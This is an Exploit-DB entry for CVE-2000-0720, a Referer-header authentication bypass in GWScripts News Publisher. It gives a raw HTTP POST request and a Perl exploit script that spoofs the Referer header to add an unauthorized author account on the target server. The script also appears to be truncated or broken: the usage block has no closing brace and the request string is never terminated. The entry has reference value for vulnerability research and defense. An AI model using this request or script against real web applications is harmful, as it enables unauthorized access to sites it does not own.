GWScripts News Publisher 1.0 - author.file Write Vulnerability

ID EDB-ID:20183
Type exploitdb
Reporter n30
Modified 2000-08-29T00:00:00


GWScripts News Publisher 1.0 author.file Write Vulnerability. CVE-2000-0720. Remote exploit for cgi platform


It is possible for a remote user to add an author to the author index (author.file) in GWScripts News Publisher, a web news publisher. This can be done by requesting the following raw HTTP request using any arbitrary username and password:

POST /cgi-bin/news/news.cgi?addAuthor HTTP/1.0
Connection: close
User-Agent: user/browser
Host: target
Referer: http://target/cgi-bin/news/news.cgi
Content-type: application/x-www-form-urlencoded
Content-length: 71

author=<username>&apassword=<password>&email=<email address>&name=<username>&password=<password>

# News Publisher EXPLOIT by n30
# Versions: tested on 1.05
#		      1.05a
#		      1.05b
#           	      1.06
# Bug Found By: me {n30}
# OS: Unix and Winnt
# The Problem:
#	The author decided in all his 'enlightened wisdom'
# that if the HTTP_REFERER url is the same as the News Publisher
# news.cgi file. Then U have OBVIOUSLY logged in?
# Exploit:
#	hmmm me thinks i should change the HTTP_REFERER to:
#	Using this exploit will add an author account with user kid
#	and passwerd of ur choice.
# NOTE: There are more inventive ways to use this Vulnerability :)
#	ie. maybe?? the Admin screen is protected by the HTTP_REFERER?
#, {trib's the webmaster not me!}
# Shoutz: trib, axess, domz, acidflame, raxie,  and all who know me!

use strict;
use Socket;

print("\nNews Publisher EXPLOIT\n");
print("By: n30 {n30\}\n");
print("\nShoutz: trib, axess, domz, acidflame, raxie\n");

if (@ARGV < 3) {
    print("\nUsage: $0 <target> <dir> <newpass>\n");
    print("\n   eg => ./ cgi-bin/news.cgi iisalamer\n");

(my $target,my $dir,my $newpass) = @ARGV;

# Setup Content-Length Header :)
my $length = 68 + (2 * length($newpass));

# Print BullShit
print("\nRemote host: $target\n");
print("CGI-script: $dir\n");
print("URL: http://$target/$dir\n");

# Setup URL Command
my $url = "author=kid&apassword=$newpass&email=lamerz\$newpass";
print("URL Command: $url\n");
# Necessary to DE-Kiddie da werld :)
my $agent = "-=Attention Admin=- pLz n0te d0wn th1s IP and P4ss ont0 fBi";

my $sploit=
"POST /$dir?addAuthor HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Referer: http://$target/$dir
Content-type: application/x-www-form-urlencoded
Content-length: $length


my $iaddr = inet_aton($target)                     || die("Error: $!\n");
my $paddr = sockaddr_in(80, $iaddr)                || die("Error: $!\n");
my $proto = getprotobyname('tcp')                  || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto)    || die("Error: $!\n");
connect(SOCKET, $paddr)                         || die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0)               || die("Error: $!\n");

print("\nWh0a chex0r: http://$target/$dir\nuser/pass: kid/$newpass\n");